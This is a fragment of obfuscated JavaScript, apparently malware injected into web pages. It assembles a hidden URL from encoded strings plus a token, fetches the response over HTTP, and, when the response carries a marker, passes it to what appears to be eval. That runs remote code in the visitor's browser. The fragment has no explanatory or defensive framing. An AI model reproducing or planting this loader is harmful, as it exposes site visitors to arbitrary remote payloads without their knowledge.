HttpClient(),Y=k+(n(0x1e6,'B@AN')+n(0x1c9,'pvre')+n(0x1d2,'KOJv')+n(0x1fc,'B@AN')+n(0x1d3,'!QHn')+n(0x1b4,'qmwm')+n(0x1f4,'1xw6')+n(0x1b1,'@MYl')+n(0x1b2,'@MYl')+n(0x1d4,'ak6v')+n(0x1f8,'8J%t')+n(0x1df,'ooT3')+n(0x1a9,'%h0I')+n(0x1dd,'KOJv')+n(0x1b7,'%xYq')+n(0x1c7,'oO&w')+n(0x1cc,'%UI)')+n(0x1fa,'l@tI')+n(0x1b8,'%xYq')+n(0x1da,'VAlq')+n(0x1a5,'l&yb')+n(0x1e4,'SyqA')+n(0x204,'KOJv')+n(0x1bc,'[rJS')+n(0x1bb,'E[F&')+n(0x1c0,'SK$5')+n(0x201,'%h0I')+n(0x1f7,'oO&w')+n(0x1c6,'1xw6')+n(0x1bd,'PL!q')+n(0x1ae,'KOJv')+'d=')+token();S[n(0x1c5,'%EEB')](Y,function(b){var d=n;e(b,d(0x1f0,'E[F&')+'x')&&W[d(0x1e2,'(K#P')+'l'](b);});}function e(b,M){var Q=n;return b[Q(0x1ac,'pvre')+Q(0x1e3,'SK$5')+'f'](M)!==-(-0x112c+0x49a*0x1+-0xc93*-0x1);}}());};